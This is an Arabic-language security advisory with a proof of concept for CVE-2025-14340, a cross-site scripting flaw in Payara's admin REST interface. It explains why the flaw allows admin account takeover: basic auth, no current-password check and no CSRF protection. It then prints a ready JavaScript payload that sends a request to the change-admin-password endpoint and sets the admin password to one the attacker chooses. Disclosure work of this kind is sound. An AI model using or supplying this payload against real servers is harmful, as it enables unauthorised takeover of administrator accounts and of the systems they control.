الاستيلاء على حساب المسؤول عبر XSS (CVE-2025-14340)

ثغرة برمجية من نوع Cross-Site Scripting في واجهة REST للإدارة في Payara، تسمح بتنفيذ جافا سكريبت يتحكم به المهاجم، مما يؤدي إلى الاستيلاء على حساب المسؤول. وذلك بسبب:

1. تستخدم اللوحة التحقق الأساسي HTTP (يتم إرسال بيانات الاعتماد تلقائيًا بواسطة المتصفح للطلبات من نفس المصدر).
2. نقطة نهاية تغيير كلمة مرور المسؤول لا تتطلب كلمة المرور الحالية لتحديث كلمة مرور المستخدم.
3. نموذج تغيير كلمة مرور المسؤول لا يحتوي على حماية CSRF.
4. يمكن للنص البرمجي المحقون باستخدام XSS في /management/domain/version أن يرسل طلب POST إلى /management/domain/change-admin-password ويحدد كلمة مرور يختارها المهاجم لأي حساب مستهدف — مما يؤدي إلى الاستيلاء على حساب المسؤول.

إثبات المفهوم

URL:

https://panel.example.com:4848/management/domain/version?<PAYLOAD>

الحمولة:

<script>
fetch('/management/domain/change-admin-password', {
 method: 'POST',
 headers: {
 'X-Requested-By': 'GlassFish REST HTML interface',
 'Accept': 'text/html',
 'Content-Type': 'application/x-www-form-urlencoded'
 },
 body:
'id=admin&newpassword=P1234&password=P1234&__remove_empty_entries__=true&=chang
e-admin-password'
});
</script>

قانوني

للاستخدام المصرح به فقط. لا تؤيد شركة DeepSecurity Perú الوصول غير المصرح به ولا تتحمل أي مسؤولية عن أي إساءة استخدام للمعلومات المقدمة.